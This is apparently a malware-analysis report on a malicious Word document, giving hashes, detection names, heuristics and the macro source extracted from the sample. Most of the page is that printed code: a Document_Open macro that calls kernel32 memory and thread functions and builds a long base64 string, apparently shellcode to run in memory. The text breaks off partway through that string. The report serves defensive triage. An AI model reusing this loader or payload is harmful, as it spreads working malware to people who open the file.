Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2c7c2fe089bb0f6b…

MALICIOUS

Office (OOXML)

65.1 KB Created: 2021-05-30 14:07:00 UTC Authoring application: 15.0000 First seen: 2021-06-13
MD5: 03277160342ce0ad205a2726a44605fc SHA-1: e31067706a617cab9b75086bbd3f3958f6d90b7a SHA-256: 2c7c2fe089bb0f6b96a1b1923d173519fb390af367bfef2c7c652861321ede32
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an OOXML document containing VBA macros, specifically a Document_Open macro that uses CreateObject. The ClamAV detection 'Doc.Malware.Valyria-10023899-0' strongly indicates malicious intent. The VBA code appears to be designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 5

  • ClamAV: Doc.Malware.Valyria-10023899-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10023899-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML.createElement("b64")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
#If Win64 Then
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 78723 bytes
SHA-256: d99ed79b31c42d7a33e4fd240dd0b8165dc9311f92b289ceef5ba0e9730ae9a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare PtrSafe Function DynGetModuleHandleA Lib "kernel32" Alias _
    "GetModuleHandleA" (ByVal lpModuleName As String) As LongPtr

Private Declare PtrSafe Function DynLoadLibraryA Lib "kernel32" Alias _
    "LoadLibraryA" (ByVal lpModuleName As String) As LongPtr

Private Declare PtrSafe Function DynGetProcAddress Lib "kernel32" Alias _
    "GetProcAddress" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr

Private Declare PtrSafe Function DynVirtualAlloc Lib "kernel32" Alias _
    "VirtualAlloc" (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, _
    ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    
Private Declare PtrSafe Function DynCreateThread Lib "kernel32" Alias _
    "CreateThread" (ByVal lpThreadAttributes As LongPtr, ByVal dwStackSize As LongPtr, _
    ByVal lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, _
    ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As LongPtr
    
Private Declare PtrSafe Function DynCreatePipe Lib "kernel32" Alias _
    "CreatePipe" (ByRef hReadPipe As LongPtr, ByRef hWritePipe As LongPtr, ByVal lpPipeAttributes As LongPtr, ByVal nSize As Long) As Long

Private Declare PtrSafe Function DynReadFile Lib "kernel32" Alias _
    "ReadFile" (ByVal hFile As LongPtr, ByVal lpBuffer As LongPtr, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByVal lpOverlapped As LongPtr) As Long

Private Declare PtrSafe Function DynWriteFile Lib "kernel32" Alias _
    "WriteFile" (ByVal hFile As LongPtr, ByVal lpBuffer As LongPtr, ByVal nNumberOfBytesToWrite As Long, ByRef lpNumberOfBytesWritten As Long, ByVal lpOverlapped As LongPtr) As Long

Private Sub InsertAddr32(ByVal addr As LongPtr, ByVal offset As Integer, ByRef arr() As Byte)
    For i = 0 To 3
        arr(offset + i) = CByte(addr And 255)
        addr = addr \ 256
    Next i
End Sub


Private Sub InsertAddr64(ByVal addr As LongPtr, ByVal offset As Integer, ByRef arr() As Byte)
    For i = 0 To 7
        arr(offset + i) = CByte(addr And 255)
        addr = addr \ 256
    Next i
End Sub

Sub DeleteFront()
i = Application.ActiveDocument.Shapes.Count
If i > 0 Then
Application.ActiveDocument.Shapes(i).Delete
End If
End Sub

Sub UnhideAll()
Application.ActiveDocument.Range.Font.Hidden = False
End Sub

Private Sub InsertAddr(ByVal addr As LongPtr, ByVal offset As Integer, ByRef arr() As Byte)
DeleteFront
UnhideAll
#If Win64 Then
    InsertAddr64 addr, offset, arr
#Else
    InsertAddr32 addr, offset, arr
#End If
End Sub

Private Sub InsertUnicodeString(ByVal str As String, ByVal offset As Integer, ByRef arr() As Byte)
    Dim b() As Byte
    b = str
    j = 0
    For i = LBound(b) To UBound(b)
        arr(offset + j) = b(i)
        j = j + 1
    Next i
End Sub

Private Sub DynMemcpy(ByVal dest As LongPtr, ByRef src() As Byte, ByVal hread As LongPtr, ByVal hwrite As LongPtr)
    Dim b As Byte
    Dim l As Long
    Dim x As Long
    For Icount = LBound(src) To UBound(src)
        b = src(Icount)
        x = DynWriteFile(hwrite, VarPtr(b), 1, l, 0)
        x = DynReadFile(hread, dest + Icount, 1, l, 0)
    Next Icount
End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()
    Dim objXML As Object
    Dim objNode As Object
    
    Set objXML = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Private Function LazyLoad(ByVal strDll As String) As LongPtr
    module = DynGetModuleHandleA(strDll)
    If module = 0 Then
        module = DynLoadLibraryA(strDll)
    End If
    LazyLoad = module
End Function

Sub Document_Open()
#If Win64 Then
    Run64
#Else
    Run32
#End If
End Sub

Sub Run32()
zzzzh_b64 = ""
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAVYnlg+wsi0UIx0X8AA"
zzzzh_b64 = zzzzh_b64 & "AAAItNCIHB+AEAAItVCImKqAEAAItN"
zzzzh_b64 = zzzzh_b64 & "CMeB9AEAABAnAACLTQiJDCSNDdA2pA"
zzzzh_b64 = zzzzh_b64 & "CJTCQEiUX46BkCAACLTQiJgbABAACL"
zzzzh_b64 = zzzzh_b64 & "RQjHgKwBAAAaAAAAi0UIiQQkjQWwOK"
zzzzh_b64 = zzzzh_b64 & "QAiUQkBOjuAQAAi00IiYG4AQAAi0UI"
zzzzh_b64 = zzzzh_b64 & "x4C0AQAADAAAAItFCIkEJI0F0DmkAI"
zzzzh_b64 = zzzzh_b64 & "lEJATowwEAAItNCImBwAEAAItFCMeA"
zzzzh_b64 = zzzzh_b64 & "vAEAABAAAACLRQiJBCSNBdA6pACJRC"
zzzzh_b64 = zzzzh_b64 & "QE6JgBAACLTQiJgcgBAACLRQjHgMQB"
zzzzh_b64 = zzzzh_b64 & "AAAaAAAAi0UIiQQkjQWwPKQAiUQkBO"
zzzzh_b64 = zzzzh_b64 & "htAQAAi00IiYHQAQAAi0UIx4DMAQAA"
zzzzh_b64 = zzzzh_b64 & "DAAAAItFCIkEJI0FUD2kAIlEJAToQg"
zzzzh_b64 = zzzzh_b64 & "EAAItNCImB2AEAAItFCMeA1AEAABYA"
zzzzh_b64 = zzzzh_b64 & "AACLRQiJBCSNBaA/pACJRCQE6BcBAA"
zzzzh_b64 = zzzzh_b64 & "AxyYtVCImC4AEAAItFCMeA3AEAABAA"
zzzzh_b64 = zzzzh_b64 & "AACLRQjHBCQAAAAAiU30/1Bog+wEg/"
zzzzh_b64 = zzzzh_b64 & "gAD40FAAAA6bAAAAAxwItNCIsJi1UI"
zzzzh_b64 = zzzzh_b64 & "g8J4iRQkx0QkBAAAAADHRCQIAAAAAM"
zzzzh_b64 = zzzzh_b64 & "dEJAwAAAAAx0QkEAAAAACJRfD/0YPs"
zzzzh_b64 = zzzzh_b64 & "FDHJiUX8O038D4UFAAAA6WUAAACLRf"
zzzzh_b64 = zzzzh_b64 & "yLTQiJgewBAACLRQjHgPABAAABAAAA"
zzzzh_b64 = zzzzh_b64 & "i0UIg7jwAQAAAA+ENwAAAItFCMeA8A"
zzzzh_b64 = zzzzh_b64 & "EAAAAAAACLRQiJBCTocgsAAItNCItJ"
zzzzh_b64 = zzzzh_b64 & "XItVCIuS9AEAAIkUJIlF7P/Rg+wE6b"
zzzzh_b64 = zzzzh_b64 & "n////pAAAAADHAO0X8D4QRAAAAi0UI"
zzzzh_b64 = zzzzh_b64 & "i0Aci038iQwk/9CD7AQxwItNCMcEJA"
zzzzh_b64 = zzzzh_b64 & "AAAACJRej/UWRVieVWUItFDItNCItV"
zzzzh_b64 = zzzzh_b64 & "DI01QDSkACnyi3UIA5aoAQAAiUX4id"
zzzzh_b64 = zzzzh_b64 & "CDxAReXcNmDx9EAABVieVWg+woi0UQ"
zzzzh_b64 = zzzzh_b64 & "i00Mi1UIi3UQiXX4x0X0AAAAAMdF8A"
zzzzh_b64 = zzzzh_b64 & "AAAACLdQiJNCSNNeBXpACJdCQEiUXs"
zzzzh_b64 = zzzzh_b64 & "iU3oiVXk6I7///+LTfiJAYtFCIkEJI"
zzzzh_b64 = zzzzh_b64 & "0FUFikAIlEJATodP///4tN+IlBBItF"
zzzzh_b64 = zzzzh_b64 & "+MdACAAAAACLRfjHQA4AAAAAi0X4x0"
zzzzh_b64 = zzzzh_b64 & "AWAAAAAItF+IPACItNDItVCIkUJIlM"
zzzzh_b64 = zzzzh_b64 & "JASJRCQI6EQhAACD+AAPhQUAAADpDg"
zzzzh_b64 = zzzzh_b64 & "EAAItF+IPADItNDItVCIkUJIlMJASJ"
zzzzh_b64 = zzzzh_b64 & "RCQIx0QkDAIAAADokh4AAIP4AA+FBQ"
zzzzh_b64 = zzzzh_b64 & "AAAOncAAAAi0X4g8AOi00Mi1UIiRQk"
zzzzh_b64 = zzzzh_b64 & "iUwkBIlEJAjo6CAAAIP4AA+FBQAAAO"
zzzzh_b64 = zzzzh_b64 & "myAAAAi0X4g8ASi00Mi1UIiRQkiUwk"
zzzzh_b64 = zzzzh_b64 & "BIlEJAjHRCQMBAAAAOg2HgAAg/gAD4"
zzzzh_b64 = zzzzh_b64 & "UFAAAA6YAAAACLRfiDwBaLTQyLVQiJ"
zzzzh_b64 = zzzzh_b64 & "FCSJTCQEiUQkCOiMIAAAg/gAD4UFAA"
zzzzh_b64 = zzzzh_b64 & "AA6VYAAACLRfiLQBaLTQiJDCSJRCQE"
zzzzh_b64 = zzzzh_b64 & "jUX0iUQkCOhCGAAAg/gAD4UFAAAA6S"
zzzzh_b64 = zzzzh_b64 & "wAAACLRfiLQBaLTQiJDCSJRCQE6B8R"
zzzzh_b64 = zzzzh_b64 & "AACLRfSLTfiJQRbHRfQAAAAAx0XwAQ"
zzzzh_b64 = zzzzh_b64 & "AAAIN98AAPhRUAAACLRfiLQASLTfiL"
zzzzh_b64 = zzzzh_b64 & "VQiJFCSJTCQE/9CLRfCDxCheXcNVie"
zzzzh_b64 = zzzzh_b64 & "VWg+wki0UQi00Mi1UIi3UQiXX4x0X0"
zzzzh_b64 = zzzzh_b64 & "AAAAAMdF8AAAAACLdQiJNCSNNbBZpA"
zzzzh_b64 = zzzzh_b64 & "CJdCQEiUXsiU3oiVXk6K79//+LTfiJ"
zzzzh_b64 = zzzzh_b64 & "AYtFCIkEJI0F4FmkAIlEJATolP3//4"
zzzzh_b64 = zzzzh_b64 & "tN+IlBBItF+MdACAAAAACLRfiDwAiL"
zzzzh_b64 = zzzzh_b64 & "TQyLVQiJFCSJTCQEiUQkCOh4HwAAg/"
zzzzh_b64 = zzzzh_b64 & "gAD4UFAAAA6VYAAACLRfiLQAiLTQiJ"
zzzzh_b64 = zzzzh_b64 & "DCSJRCQEjUXwiUQkCOguFwAAg/gAD4"
zzzzh_b64 = zzzzh_b64 & "UFAAAA6SwAAACLRfiLQAiLTQiJDCSJ"
zzzzh_b64 = zzzzh_b64 & "RCQE6AsQAACLRfCLTfiJQQjHRfAAAA"
zzzzh_b64 = zzzzh_b64 & "AAx0X0AQAAAIN99AAPhRUAAACLRfiL"
zzzzh_b64 = zzzzh_b64 & "QASLTfiLVQiJFCSJTCQE/9CLRfSDxC"
zzzzh_b64 = zzzzh_b64 & "ReXcNmLg8fhAAAAAAAZpBVieVWg+wg"
zzzzh_b64 = zzzzh_b64 & "i0UQi00Mi1UIi3UQiXX4x0X0AAAAAI"
zzzzh_b64 = zzzzh_b64 & "t1CIk0JI01IFqkAIl0JASJRfCJTeyJ"
zzzzh_b64 = zzzzh_b64 & "Vejolfz//4tN+IkBi0UIiQQkjQVgWq"
zzzzh_b64 = zzzzh_b64 & "QAiUQkBOh7/P//i034iUEEi0X4x0AI"
zzzzh_b64 = zzzzh_b64 & "AAAAAItF+MdADAAAAACLRfiDwAiLTQ"
zzzzh_b64 = zzzzh_b64 & "yLVQiJFCSJTCQEiUQkCOhVHgAAg/gA"
zzzzh_b64 = zzzzh_b64 & "D4UFAAAA6TEAAACLRfiDwAyLTQyLVQ"
zzzzh_b64 = zzzzh_b64 & "iJFCSJTCQEiUQkCOgrHgAAg/gAD4UF"
zzzzh_b64 = zzzzh_b64 & "AAAA6QcAAADHRfQBAAAAg330AA+FFQ"
zzzzh_b64 = zzzzh_b64 & "AAAItF+ItABItN+ItVCIkUJIlMJAT/"
zzzzh_b64 = zzzzh_b64 & "0ItF9IPEIF5dw2YuDx+EAAAAAAAPH0"
zzzzh_b64 = zzzzh_b64 & "AAVYnlVoPsKItFEItNDItVCIt1EIl1"
zzzzh_b64 = zzzzh_b64 & "+MdF9AAAAADHRfAAAAAAi3UIiTQkjT"
zzzzh_b64 = zzzzh_b64 & "WwWqQAiXQkBIlF7IlN6IlV5OiO+///"
zzzzh_b64 = zzzzh_b64 & "i034iQGLRQiJBCSNBcBbpACJRCQE6H"
zzzzh_b64 = zzzzh_b64 & "T7//+LTfiJQQSLRfjHQAgAAAAAi0X4"
zzzzh_b64 = zzzzh_b64 & "x0AMAAAAAItF+MdAEgAAAACLRfiDwA"
zzzzh_b64 = zzzzh_b64 & "iLTQyLVQiJFCSJTCQEiUQkCOhEHQAA"
zzzzh_b64 = zzzzh_b64 & "g/gAD4UFAAAA6Q4BAACLRfiLQAiLTQ"
zzzzh_b64 = zzzzh_b64 & "iJDCSJRCQEjUX0iUQkCOj6FAAAg/gA"
zzzzh_b64 = zzzzh_b64 & "D4UFAAAA6eQAAACLRfiLQAiLTQiJDC"
zzzzh_b64 = zzzzh_b64 & "SJRCQE6NcNAACLRfSLTfiJQQjHRfQA"
zzzzh_b64 = zzzzh_b64 & "AAAAi0X4g8AMi00Mi1UIiRQkiUwkBI"
zzzzh_b64 = zzzzh_b64 & "lEJAjoyxwAAIP4AA+FBQAAAOmVAAAA"
zzzzh_b64 = zzzzh_b64 & "i0X4g8AQi00Mi1UIiRQkiUwkBIlEJA"
zzzzh_b64 = zzzzh_b64 & "jHRCQMAgAAAOgZGgAAg/gAD4UFAAAA"
zzzzh_b64 = zzzzh_b64 & "6WMAAACLRfiDwBKLTQyLVQiJFCSJTC"
zzzzh_b64 = zzzzh_b64 & "QEiUQkCOhvHAAAg/gAD4UFAAAA6TkA"
zzzzh_b64 = zzzzh_b64 & "AACLRfiDwBaLTQyLVQiJFCSJTCQEiU"
zzzzh_b64 = zzzzh_b64 & "QkCMdEJAwEAAAA6L0ZAACD+AAPhQUA"
zzzzh_b64 = zzzzh_b64 & "AADpBwAAAMdF8AEAAACDffAAD4UVAA"
zzzzh_b64 = zzzzh_b64 & "AAi0X4i0AEi034i1UIiRQkiUwkBP/Q"
zzzzh_b64 = zzzzh_b64 & "i0Xwg8QoXl3DVYnlVoPsKItFEItNDI"
zzzzh_b64 = zzzzh_b64 & "tVCIt1EIl19It1CIk0JI01IFykAIl0"
zzzzh_b64 = zzzzh_b64 & "JASJReyJTeiJVeTovPn//4tN9IkBi0"
zzzzh_b64 = zzzzh_b64 & "UIiQQkjQVgXKQAiUQkBOii+f//i030"
zzzzh_b64 = zzzzh_b64 & "iUEEi0X0g8AIi00Mi1UIiRQkiUwkBI"
zzzzh_b64 = zzzzh_b64 & "lEJAjHRCQMBAAAAOgIGQAAg/gAD4UM"
zzzzh_b64 = zzzzh_b64 & "AAAAx0X4AAAAAOkHAAAAx0X4AQAAAI"
zzzzh_b64 = zzzzh_b64 & "tF+IPEKF5dww8fAFWJ5VaD7CiLRRCL"
zzzzh_b64 = zzzzh_b64 & "TQyLVQiLdRCJdfjHRfQAAAAAx0XwAA"
zzzzh_b64 = zzzzh_b64 & "AAAIt1+MdGCAAAAACLdfjHRgwAAAAA"
zzzzh_b64 = zzzzh_b64 & "i3X4x0YQAAAAAIt1CIk0JI01cFykAI"
zzzzh_b64 = zzzzh_b64 & "l0JASJReyJTeiJVeTo8Pj//4tN+IkB"
zzzzh_b64 = zzzzh_b64 & "i0UIiQQkjQVQXqQAiUQkBOjW+P//i0"
zzzzh_b64 = zzzzh_b64 & "34iUEEi0X4g8AIi00Mi1UIiRQkiUwk"
zzzzh_b64 = zzzzh_b64 & "BIlEJAjoxBoAAIP4AA+FBQAAAOl6AQ"
zzzzh_b64 = zzzzh_b64 & "AAi0X4i0AIi00IiQwkiUQkBI1F8IlE"
zzzzh_b64 = zzzzh_b64 & "JAjoehIAAIP4AA+FBQAAAOlQAQAAi0"
zzzzh_b64 = zzzzh_b64 & "X4i0AIi00IiQwkiUQkBOhXCwAAi0Xw"
zzzzh_b64 = zzzzh_b64 & "i034iUEIx0XwAAAAAItF+IPADItNDI"
zzzzh_b64 = zzzzh_b64 & "tVCIkUJIlMJASJRCQI6EsaAACD+AAP"
zzzzh_b64 = zzzzh_b64 & "hQUAAADpAQEAAItF+ItADItNCIkMJI"
zzzzh_b64 = zzzzh_b64 & "lEJASNRfCJRCQI6AESAACD+AAPhQUA"
zzzzh_b64 = zzzzh_b64 & "AADp1wAAAItF+ItADItNCIkMJIlEJA"
zzzzh_b64 = zzzzh_b64 & "To3goAAItF8ItN+IlBDMdF8AAAAACL"
zzzzh_b64 = zzzzh_b64 & "RfiDwBCLTQyLVQiJFCSJTCQEiUQkCO"
zzzzh_b64 = zzzzh_b64 & "jSGQAAg/gAD4UFAAAA6YgAAACLRfiL"
zzzzh_b64 = zzzzh_b64 & "QBCLTQiJDCSJRCQEjUXwiUQkCOiIEQ"
zzzzh_b64 = zzzzh_b64 & "AAg/gAD4UFAAAA6V4AAACLRfiLQBCL"
zzzzh_b64 = zzzzh_b64 & "TQiJDCSJRCQE6GUKAACLRfCLTfiJQR"
zzzzh_b64 = zzzzh_b64 & "DHRfAAAAAAi0X4g8AUi00Mi1UIiRQk"
zzzzh_b64 = zzzzh_b64 & "iUwkBIlEJAjHRCQMAgAAAOjRFgAAg/"
zzzzh_b64 = zzzzh_b64 & "gAD4UFAAAA6QcAAADHRfQBAAAAg330"
zzzzh_b64 = zzzzh_b64 & "AA+FFQAAAItF+ItABItN+ItVCIkUJI"
zzzzh_b64 = zzzzh_b64 & "lMJAT/0ItF9IPEKF5dww8fQABVieVW"
zzzzh_b64 = zzzzh_b64 & "g+wsi0UQi00Mi1UIi3UQiXX4x0X0AA"
zzzzh_b64 = zzzzh_b64 & "AAAMdF8AAAAADHRewAAAAAi3X4x0YM"
zzzzh_b64 = zzzzh_b64 & "AAAAAIt1CIk0JI01sF6kAIl0JASJRe"
zzzzh_b64 = zzzzh_b64 & "iJTeSJVeDorfb//4tN+IkBi0UIiQQk"
zzzzh_b64 = zzzzh_b64 & "jQUQX6QAiUQkBOiT9v//i034iUEEi0"
zzzzh_b64 = zzzzh_b64 & "X4g8AIi00Mi1UIiRQkiUwkBIlEJAjH"
zzzzh_b64 = zzzzh_b64 & "RCQMBAAAAOj5FQAAg/gAD4UFAAAA6T"
zzzzh_b64 = zzzzh_b64 & "MBAACLRfhrQAgci00IiQwkiUQkBOj1"
zzzzh_b64 = zzzzh_b64 & "BwAAMcmLVfiJQgyLRfg7SAwPhQUAAA"
zzzzh_b64 = zzzzh_b64 & "DpBAEAAItF+GtACAqLTQiJDCSJRCQE"
zzzzh_b64 = zzzzh_b64 & "6MYHAAAxyYlF7DtN7A+FBQAAAOnbAA"
zzzzh_b64 = zzzzh_b64 & "AAi0X4a0AICotN7ItVDIt1CIk0JIlU"
zzzzh_b64 = zzzzh_b64 & "JASJTCQIiUQkDOhvFQAAg/gAD4UFAA"
zzzzh_b64 = zzzzh_b64 & "AA6akAAADHRfAAAAAAi0Xwi034O0EI"
zzzzh_b64 = zzzzh_b64 & "D4OMAAAAi0Xsi03wjRSJiwRQi1X4i1"
zzzzh_b64 = zzzzh_b64 & "IMjTTJjTR2Ac6JBDKLReyLTfCNDImL"
zzzzh_b64 = zzzzh_b64 & "BEiD6AEPhUIAAADpAAAAAItF7GtN8A"
zzzzh_b64 = zzzzh_b64 & "oByGaLUASLRfiLQAxrTfAcAchmiVAE"
zzzzh_b64 = zzzzh_b64 & "i0Xsa03wCgHIi0AGi034i0kMa3XwHA"
zzzzh_b64 = zzzzh_b64 & "HxiUEI6QUAAADpGgAAAOkAAAAAi0Xw"
zzzzh_b64 = zzzzh_b64 & "g8ABiUXw6WX////HRfQBAAAAMcA7Re"
zzzzh_b64 = zzzzh_b64 & "wPhBIAAACLReyLTQiJDCSJRCQE6PsH"
zzzzh_b64 = zzzzh_b64 & "AACDffQAD4UVAAAAi0X4i0AEi034i1"
zzzzh_b64 = zzzzh_b64 & "UIiRQkiUwkBP/Qi0X0g8QsXl3DDx8A"
zzzzh_b64 = zzzzh_b64 & "VYnlg+woi0UIx0X8AAAAAMdF+AAAAA"
zzzzh_b64 = zzzzh_b64 & "Bmx0X2AADGRfUAx0XwAAAAAMdF6AAA"
zzzzh_b64 = zzzzh_b64 & "AADGRfUAD7ZF9YP4AQ+NQwAAAIpF9Y"
zzzzh_b64 = zzzzh_b64 & "tNCIkMJA+2yIlMJASNTfyJTCQIjU34"
zzzzh_b64 = zzzzh_b64 & "iUwkDOhtDwAAg/gAD4QFAAAA6RIAAA"
zzzzh_b64 = zzzzh_b64 & "DpAAAAAIpF9QQBiEX16bD///8PtkX1"
zzzzh_b64 = zzzzh_b64 & "uQEAAAA5wQ+FBQAAAOmRAAAAi0X4i0"
zzzzh_b64 = zzzzh_b64 & "0IiQwkiUQkBI1F8IlEJAiNRe6JRCQM"
zzzzh_b64 = zzzzh_b64 & "6DcSAACD+AAPhQUAAADpYwAAAGbHRf"
zzzzh_b64 = zzzzh_b64 & "YAAA+3RfYPt03uOcgPjUYAAACLRfAP"
zzzzh_b64 = zzzzh_b64 & "t032iwSIiwCLTfAPt1X2iwyRi1UIiR"
zzzzh_b64 = zzzzh_b64 & "QkiUwkBP/Qg/gAD4UFAAAA6R0AAADp"
zzzzh_b64 = zzzzh_b64 & "AAAAAGaLRfZmg8ABZolF9umq////x0"
zzzzh_b64 = zzzzh_b64 & "XoAQAAADHAO0XwD4R1AAAAZsdF9gAA"
zzzzh_b64 = zzzzh_b64 & "D7dF9g+3Te45yA+NTQAAAItF8A+3Tf"
zzzzh_b64 = zzzzh_b64 & "aLBIiLQASLTfAPt1X2iwyRi1UIiRQk"
zzzzh_b64 = zzzzh_b64 & "iUwkBP/Qi0XwD7dN9osEiItNCIkMJI"
zzzzh_b64 = zzzzh_b64 & "lEJAToSQYAAGaLRfZmg8ABZolF9umj"
zzzzh_b64 = zzzzh_b64 & "////i0Xwi00IiQwkiUQkBOgmBgAAMc"
zzzzh_b64 = zzzzh_b64 & "A7RfgPhBEAAACLRQiLQByLTfiJDCT/"
zzzzh_b64 = zzzzh_b64 & "0IPsBDHAO0X8D4QRAAAAi0UIi0Aci0"
zzzzh_b64 = zzzzh_b64 & "38iQwk/9CD7ASLReiDxChdw2YPH0QA"
zzzzh_b64 = zzzzh_b64 & "AFWJ5VdWgeyMAAAAi0UQi00Mi1UIx0"
zzzzh_b64 = zzzzh_b64 & "X0AAAAAMdF8AAAAADHRewAAAAAx0Xo"
zzzzh_b64 = zzzzh_b64 & "AAAAAMdF4AAAAADHRdgAAAAAx0XAAA"
zzzzh_b64 = zzzzh_b64 & "AAAIt1CIk0JMdEJAQMAAAAiUW0iU2w"
zzzzh_b64 = zzzzh_b64 & "iVWs6D8EAAAxyYlF8DtN8A+FBQAAAO"
zzzzh_b64 = zzzzh_b64 & "kCAwAAi0UIiQQkx0QkBEQAAADoGQQA"
zzzzh_b64 = zzzzh_b64 & "ADHJiUXsO03sD4UFAAAA6dwCAACLRQ"
zzzzh_b64 = zzzzh_b64 & "iJBCTHRCQEEAAAAOjzAwAAMcmJReg7"
zzzzh_b64 = zzzzh_b64 & "TegPhQUAAADptgIAAItFCIkEJMdEJA"
zzzzh_b64 = zzzzh_b64 & "QAIAAA6M0DAAAxyYlF4DtN4A+FBQAA"
zzzzh_b64 = zzzzh_b64 & "AOmQAgAAMcCLTfDHAQwAAACLTfDHQQ"
zzzzh_b64 = zzzzh_b64 & "gBAAAAi00Ii0lAi1Xwi3Xsg8Y8jX3k"
zzzzh_b64 = zzzzh_b64 & "iTwkiXQkBIlUJAjHRCQMAAAAAIlFqP"
zzzzh_b64 = zzzzh_b64 & "/Rg+wQg/gAD4UWAAAAx0XkAAAAAItF"
zzzzh_b64 = zzzzh_b64 & "7MdAPAAAAADpLwIAADHAi03si0k8i1"
zzzzh_b64 = zzzzh_b64 & "XsiUpAi03sx0EsAAEAAItNCItJTItV"
zzzzh_b64 = zzzzh_b64 & "5IkUJMdEJAQBAAAAx0QkCAAAAACJRa"
zzzzh_b64 = zzzzh_b64 & "T/0YPsDIP4AA+FBQAAAOnlAQAAMcCL"
zzzzh_b64 = zzzzh_b64 & "TQiLSTyLVeiLdeyLfQzHBCQAAAAAiX"
zzzzh_b64 = zzzzh_b64 & "wkBMdEJAgAAAAAx0QkDAAAAADHRCQQ"
zzzzh_b64 = zzzzh_b64 & "AQAAAMdEJBQAAAAIx0QkGAAAAADHRC"
